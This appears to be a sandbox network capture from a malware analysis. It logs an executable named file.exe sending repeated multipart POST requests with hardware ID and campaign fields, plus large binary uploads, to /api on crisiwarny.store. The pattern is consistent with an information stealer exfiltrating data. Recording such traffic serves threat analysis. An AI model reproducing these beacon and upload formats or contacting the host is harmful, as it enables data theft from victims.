QLun/3FXX0Ai/uf9s3J5ykmIu6pLLPy/tc7u7gC97tdOrrb6N2xDQzLz6/T5bjbZAIi/7RB+uv78yvmvUfHK1VWlp7wsKFADM/mqqbNpPdwNiLvsFmr3sbPM4eANuurURqay8Td0Q0g7+eP9/i15kw6X97JTXfe+ssr3rxb/+pJAp/ekc2dFTDf66fLyZyXBBYa/7x9n9Lauy+7mCrLq1U+nvf80JgcDM+2qqbNOIMMEz6ikCiz9vPyVoecEuen
2024-10-26 06:52:46 UTC	1369	IN	Data Raw: 76 67 37 5a 55 6c 48 4d 50 4c 76 38 76 39 6d 4d 4e 41 47 69 37 37 6b 47 6d 4f 36 2f 76 7a 4b 2b 61 39 52 38 63 4c 4a 52 4b 65 36 76 43 77 6f 55 41 4d 7a 2b 61 71 70 73 32 45 35 31 67 6d 46 73 65 34 57 61 76 43 31 76 4d 62 69 34 41 32 33 35 39 31 48 6f 4c 37 39 4e 57 4e 44 53 44 4c 34 36 66 66 31 4c 58 6d 54 44 70 66 33 73 6c 4e 4d 34 62 32 77 79 71 48 77 52 36 69 6a 31 55 76 72 37 37 77 34 61 6b 31 45 4e 50 6a 70 2b 66 5a 70 50 64 59 4a 68 36 58 69 45 32 76 6f 6f 72 7a 45 35 4f 4d 4b 73 65 66 55 54 71 32 30 2b 48 4d 6f 43 55 51 73 74 62 4b 78 33 6d 45 77 2b 67 36 55 39 2f 56 64 64 62 71 33 73 49 32 35 72 77 69 36 36 64 31 4b 71 4c 48 2f 4f 47 4e 44 51 6a 50 39 35 2b 50 77 59 6a 6a 58 43 59 43 78 37 42 4a 6a 2f 4c 65 31 7a 4f 6e 6f 53 66 2b 6a 31 56 2f 72 Data Ascii: vg7ZUlHMPLv8v9mMNAGi77kGmO6/vzK+a9R8cLJRKe6vCwoUAMz+aqps2E51gmFse4WavC1vMbi4A23591HoL79NWNDSDL46ff1LXmTDpf3slNM4b2wyqHwR6ij1Uvr77w4ak1ENPjp+fZpPdYJh6XiE2voorzE5OMKsefUTq20+HMoCUQstbKx3mEw+g6U9/Vddbq3sI25rwi66d1KqLH/OGNDQjP95+PwYjjXCYCx7BJj/Le1zOnoSf+j1V/r
2024-10-26 06:52:46 UTC	1369	IN	Data Raw: 46 65 54 48 53 37 71 76 36 7a 4e 51 36 54 41 49 69 73 2b 77 56 68 36 72 66 38 38 71 2b 76 45 66 47 37 6b 6e 4b 6f 75 66 49 30 63 46 67 4f 45 2b 50 67 39 75 4e 71 49 4e 78 4a 77 66 66 73 55 7a 53 70 2f 76 7a 4a 38 4b 39 52 34 62 47 4a 45 76 6a 67 72 47 46 35 42 31 70 30 34 36 71 70 6f 53 4e 33 77 55 6e 58 39 36 30 51 66 75 69 32 76 39 76 69 71 44 65 50 78 4d 68 4b 72 61 44 74 44 56 68 4f 57 54 6e 7a 2f 65 43 2f 65 44 54 64 42 34 69 68 71 6c 30 73 39 66 44 6b 39 4b 47 6e 53 59 36 74 6b 6c 2f 72 37 37 77 47 5a 55 64 4e 4d 2b 50 37 76 4e 52 33 4f 74 55 65 6e 76 65 6b 55 32 71 36 36 4f 79 44 6f 65 73 59 38 62 75 43 46 66 44 69 72 32 51 32 47 31 78 36 37 4b 72 6e 73 7a 56 6c 6e 55 6d 64 39 37 4a 54 4b 2f 6d 69 72 73 76 69 2b 51 72 32 33 65 78 70 72 4c 48 35 4e Data Ascii: FeTHS7qv6zNQ6TAIis+wVh6rf88q+vEfG7knKoufI0cFgOE+Pg9uNqINxJwffsUzSp/vzJ8K9R4bGJEvjgrGF5B1p046qpoSN3wUnX960Qfui2v9viqDePxMhKraDtDVhOWTnz/eC/eDTdB4ihql0s9fDk9KGnSY6tkl/r77wGZUdNM+P7vNR3OtUenvekU2q66OyDoesY8buCFfDir2Q2G1x67KrnszVlnUmd97JTK/mirsvi+Qr23exprLH5N
2024-10-26 06:52:46 UTC	1369	IN	Data Raw: 69 35 4b 66 57 2f 57 6f 32 78 52 6d 59 75 4b 70 64 4c 50 7a 77 35 4a 2b 76 72 77 32 67 6f 34 6f 58 2b 65 79 70 59 44 45 5a 45 53 75 37 38 37 48 6c 4c 57 2b 42 52 38 2b 6c 71 6b 73 73 76 62 4f 75 33 2b 66 73 48 37 4b 6b 37 48 6d 4d 75 66 73 79 63 46 6c 55 4f 37 72 45 78 39 4a 54 43 63 59 4b 67 62 6e 74 42 58 32 36 2f 76 7a 43 6f 62 63 77 38 61 75 53 65 4f 58 33 35 48 4d 2b 43 58 59 33 2b 2b 54 32 35 58 78 36 39 41 65 49 74 76 77 44 65 2f 58 2f 6b 76 76 41 72 30 66 78 35 5a 49 66 2b 66 6d 38 4e 33 63 4a 47 32 53 6e 73 61 53 67 4f 6d 65 42 46 73 47 75 71 67 55 73 6f 75 4c 79 6a 66 4f 76 55 66 47 6b 30 56 57 35 73 66 38 6c 5a 51 35 39 43 74 4c 6b 39 76 4a 37 4a 39 34 46 72 72 54 37 47 56 4c 45 70 62 2f 44 37 2b 67 66 6f 4b 4f 63 42 36 54 33 70 41 6f 6d 41 51 Data Ascii: i5KfW/Wo2xRmYuKpdLPzw5J+vrw2go4oX+eypYDEZESu787HlLW+BR8+lqkssvbOu3+fsH7Kk7HmMufsycFlUO7rEx9JTCcYKgbntBX26/vzCobcw8auSeOX35HM+CXY3++T25Xx69AeItvwDe/X/kvvAr0fx5ZIf+fm8N3cJG2SnsaSgOmeBFsGuqgUsouLyjfOvUfGk0VW5sf8lZQ59CtLk9vJ7J94FrrT7GVLEpb/D7+gfoKOcB6T3pAomAQ
2024-10-26 06:52:46 UTC	1369	IN	Data Raw: 7a 39 35 2f 4d 4d 4d 4b 7a 5a 76 74 48 6d 44 45 6a 6f 76 63 35 76 39 4c 6c 2b 44 45 52 4f 76 35 76 43 73 6d 45 51 4d 5a 35 2b 33 68 38 43 38 62 31 41 53 44 39 2f 56 64 64 62 71 6d 2f 4a 57 79 6f 55 6d 6a 6f 34 6f 48 37 4c 54 75 49 57 42 4b 56 54 65 79 31 4d 2f 65 66 7a 44 44 43 73 32 47 35 78 64 36 37 37 4f 73 79 74 2f 52 4a 4b 50 6b 77 6b 54 70 6b 73 5a 78 56 31 39 41 4e 50 76 74 73 62 30 74 4c 35 4e 52 7a 35 72 34 46 48 7a 35 38 70 6e 33 6f 39 34 66 73 75 50 63 51 4f 75 6f 73 69 6f 6d 58 77 4e 73 70 71 53 78 34 53 31 76 6b 30 36 42 75 75 73 51 59 76 6d 69 72 73 76 69 2b 51 72 32 33 65 78 6f 6f 4c 62 73 50 6e 64 45 52 79 4c 4c 31 4e 62 31 61 44 44 74 4e 37 69 6d 37 51 4d 75 33 4c 4f 71 7a 71 47 68 53 61 6d 6a 69 67 65 4d 73 66 6b 30 4a 67 63 44 4d 4c 57 Data Ascii: z95/MMMKzZvtHmDEjovc5v9Ll+DEROv5vCsmEQMZ5+3h8C8b1ASD9/Vddbqm/JWyoUmjo4oH7LTuIWBKVTey1M/efzDDCs2G5xd677Osyt/RJKPkwkTpksZxV19ANPvtsb0tL5NRz5r4FHz58pn3o94fsuPcQOuosiomXwNspqSx4S1vk06BuusQYvmirsvi+Qr23exooLbsPndERyLL1Nb1aDDtN7im7QMu3LOqzqGhSamjigeMsfk0JgcDMLW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49702	172.67.170.64	443	6384	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:52:47 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12849 Host: crisiwarny.store
2024-10-26 06:52:47 UTC	12849	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 32 45 30 42 44 33 30 41 42 46 41 44 41 31 35 37 39 31 41 45 37 38 35 32 34 42 44 30 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"712E0BD30ABFADA15791AE78524BD06B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 06:52:48 UTC	1018	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:52:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rdpsb4esjn86ofiqjr3oo3e84e; expires=Wed, 19 Feb 2025 00:39:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ETlgWxgUBziVXL3ELvniPvIdSM4H5cDwKRzDrC%2F7G6%2Fs6xIVSi%2FSQ3wS5NX2X6cmI3%2FTmTOdDGwkVIBCnBQhKfRwA9NsYOcuzaBRp1n2E2dzN%2FwhZjfNAfXiaC%2FeBLRk%2FKtx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d88868e3db22cd9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1912&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2838&recv_bytes=13789&delivery_rate=1533086&cwnd=247&unsent_bytes=0&cid=0495253c294774a8&ts=613&x=0"
2024-10-26 06:52:48 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 06:52:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49703	172.67.170.64	443	6384	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:52:49 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15081 Host: crisiwarny.store
2024-10-26 06:52:49 UTC	15081	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 32 45 30 42 44 33 30 41 42 46 41 44 41 31 35 37 39 31 41 45 37 38 35 32 34 42 44 30 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"712E0BD30ABFADA15791AE78524BD06B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 06:52:50 UTC	1010	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:52:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=492ukrdp7vd6slshcksnbp2spe; expires=Wed, 19 Feb 2025 00:39:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tjsq35c4BTfTnPWzDdaFEBIpupVu8zR98MUoVkoR9nOIxGsB%2FSSunblRKrq4EupAGJ0L6zXNTu%2FXKPDcIAvunUjI69PcBynqE4%2Fk6warGbAR8VdXTeyLzjDPd6AQiuL4qHN4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d88869acd9279c7-LHR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=103753&sent=15&recv=18&lost=0&retrans=0&sent_bytes=2839&recv_bytes=16021&delivery_rate=27927&cwnd=32&unsent_bytes=0&cid=0842b0c3c58a2e69&ts=986&x=0"
2024-10-26 06:52:50 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 06:52:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49709	172.67.170.64	443	6384	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:52:51 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20406 Host: crisiwarny.store
2024-10-26 06:52:51 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 32 45 30 42 44 33 30 41 42 46 41 44 41 31 35 37 39 31 41 45 37 38 35 32 34 42 44 30 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"712E0BD30ABFADA15791AE78524BD06B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 06:52:51 UTC	5075	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d Data Ascii: (X6K~`iO\_,mi`m?ls}Qm
2024-10-26 06:52:52 UTC	1019	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:52:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=coh9u2grv9b18839frkjn4gt7t; expires=Wed, 19 Feb 2025 00:39:30 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6IEe%2BTKwmrM381Lbfzgj%2FWcrJnUCZyuCaT6%2Fd31s%2BlRgWrX2HjL9jSmCyT69euV1ljecnmHgsfjdg7%2B84HI2%2ByFlBhTfUl0GTOTb2qPJ0NmSOKBOmKsuNIqbX8m57M72%2Fl2M"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8886a46f232c9e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2046&sent=12&recv=23&lost=0&retrans=0&sent_bytes=2837&recv_bytes=21368&delivery_rate=1427304&cwnd=251&unsent_bytes=0&cid=c6ebe06ff4a4be45&ts=864&x=0"
2024-10-26 06:52:52 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 06:52:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49725	172.67.170.64	443	6384	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:52:54 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1223 Host: crisiwarny.store
2024-10-26 06:52:54 UTC	1223	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 32 45 30 42 44 33 30 41 42 46 41 44 41 31 35 37 39 31 41 45 37 38 35 32 34 42 44 30 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"712E0BD30ABFADA15791AE78524BD06B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 06:52:54 UTC	1011	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 06:52:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jsdgv2haudjcmboh7pdb8qgos1; expires=Wed, 19 Feb 2025 00:39:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jKkDWClGkbK9EAs0v088tgjOr5%2FszO2Y0ww3%2BDEEHU3Nfj7K0c%2BGTXcNIvwZjAHlayLxj8AqzN7kKQQ7ZBBekYQnvZeqs59ZPggXVWTTUkZLbJMnsWx%2F%2B3UCM6rxFMmVgYDJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8886b68ba022a0-CDG alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=116037&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=2140&delivery_rate=24961&cwnd=32&unsent_bytes=0&cid=9eea6aaf5b588d04&ts=381&x=0"
2024-10-26 06:52:54 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 06:52:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49736	172.67.170.64	443	6384	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 06:52:55 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 581700 Host: crisiwarny.store
2024-10-26 06:52:55 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 31 32 45 30 42 44 33 30 41 42 46 41 44 41 31 35 37 39 31 41 45 37 38 35 32 34 42 44 30 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"712E0BD30ABFADA15791AE78524BD06B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 06:52:55 UTC	15331	OUT	Data Raw: 25 8b f8 a9 59 85 63 67 13 33 6e d4 84 ed b0 64 3a 3a 69 ee 48 70 d3 ef 12 cf 35 83 87 05 10 84 ab bf 5c 69 5d 8a 02 2f 4f 8c 57 fd 6c 2e f6 ba d6 d7 1a df 3b 3e f6 d9 85 00 cc fa 19 99 39 8b 35 d2 cc a1 12 3f b9 c1 fa 8a 94 12 00 81 b6 43 09 e1 26 12 c7 88 80 b4 00 2c 2f 32 55 d2 d4 58 1a fc e0 b4 4a a4 2d ee 0a 36 f5 5c b8 4d 8a 10 6d 7f eb f5 1d d7 93 03 3a bb ff 97 40 62 77 03 ed 0a 61 10 32 eb 5b 3e 79 19 62 a8 14 97 19 4c b8 ad 3a 40 c4 17 86 4b 2b 77 16 86 6a fc 3a fe 44 92 b5 dd 58 f8 75 30 8e a6 05 68 7c a8 3f b7 b3 74 b9 83 44 30 26 b8 2a b1 2f 3a 10 c3 d8 7a fa 9c cc 52 59 ff fe 50 07 33 b3 bd d0 86 e5 17 01 8a e1 a1 df 40 aa cf 7a 4f e1 15 40 ef e7 5a 88 1e 86 b5 d5 7a 23 a5 98 d5 28 c2 e1 05 27 29 f4 f9 8f 4e 4d 12 dd 19 33 e8 59 6a 2c 34 fe Data Ascii: %Ycg3nd::iHp5\i]/OWl.;>95?C&,/2UXJ-6\Mm:@bwa2[>ybL:@K+wj:DXu0h\|?tD0&*/:zRYP3@zO@Zz#(')NM3Yj,4
2024-10-26 06:52:55 UTC	15331	OUT	Data Raw: 09 ec 74 bb 6f 39 c6 06 56 cb c6 fe 0d fe 6a ce a9 cd a0 00 2b 47 c4 f0 b0 dc d5 73 06 0f 86 c3 b0 f7 ed a1 c7 41 9f 90 c4 2f 7c f7 73 04 1a c3 e1 3a 94 48 59 c8 27 c7 fe 3e 20 5d a0 54 71 d9 d3 c9 6e c2 d9 f9 65 65 a3 28 f2 71 39 9f 07 26 d7 f8 b4 ed 37 83 91 1e 8e 8b cd 7d 72 77 09 5c 20 9a ec 4b d4 c3 e4 7f 20 61 83 b5 f1 fd e1 59 d3 2d a5 28 3b 14 fc a8 e1 e4 9f 4b b0 37 54 b4 ca 87 7d 4b 3c f3 ca e6 1f 0f 95 da dd 28 f9 3c 10 b4 f4 6d b6 ab 6a fd 7d d9 cd 31 b4 2c 4e 79 56 1c a0 36 1c 6e 7d e6 f3 eb ec 19 2f 1e 8d d3 6b de 2d 56 31 f3 b2 e6 3a e9 cd e0 29 68 a0 43 02 94 4f d5 ae 79 0a 03 ea 8c 4e 60 73 f0 08 b7 91 35 14 e3 1a 31 2d 0b b2 26 93 bc a0 eb 86 2a e0 e9 0d d3 a7 87 2c 97 f2 d5 70 ff 17 b9 e8 69 55 99 0f 70 f0 59 12 f0 95 03 ab c9 0b b7 49 Data Ascii: to9Vj+GsA/\|s:HY'> ]Tqnee(q9&7}rw\ K aY-(;K7T}K<(<mj}1,NyV6n}/k-V1:)hCOyN`s51-&*,piUpYI
2024-10-26 06:52:55 UTC	15331	OUT	Data Raw: c7 41 2f 9a 9a c5 f0 03 6f 71 e9 04 b2 cd 3c 77 fb 1e f2 21 80 85 61 ae 74 cb 47 f1 fb a7 59 b4 49 1d 86 8f 84 63 bd 85 f7 6f aa 88 7b 21 c0 ef f7 ee 90 82 4a fd 51 90 87 4b ee e8 f8 0a fb c7 b8 35 64 69 73 4e aa 0b 97 13 5f 0a 4d 01 01 5f 9b 1b eb 07 91 5e 97 fe bc 7c 4f 4e 83 ec 31 1b b7 7d 8e 34 62 4e 12 fc 62 a4 17 ca 85 b0 29 a1 1e 02 3d 43 dd a6 c9 d2 c8 33 1b df 8b fc d9 e7 2a df fe 4a c2 52 f5 99 be d6 90 72 83 a2 6b 36 cc 38 70 fd a6 80 bd 5b e3 09 d1 42 2d 98 1b b0 71 95 bb 5a 55 51 ae c3 3d 3f c9 a7 16 fd e0 3a f6 87 79 bc 8c 4e 97 b6 ba e6 39 90 57 64 14 1b f5 44 f3 1b 8a 66 e9 17 3f 74 00 94 a9 37 79 71 77 55 45 4b 82 9f 67 3d 48 1a d8 06 64 e7 43 bd 9d af 00 e7 b5 ae 44 83 b6 bc 5e b6 9d 64 87 b5 87 46 f1 f1 87 16 95 f2 30 8e 79 58 c4 5b a4 Data Ascii: A/oq<w!atGYIco{!JQK5disN_M_^\|ON1}4bNb)=C3*JRrk68p[B-qZUQ=?:yN9WdDf?t7yqwUEKg=HdCD^dF0yX[
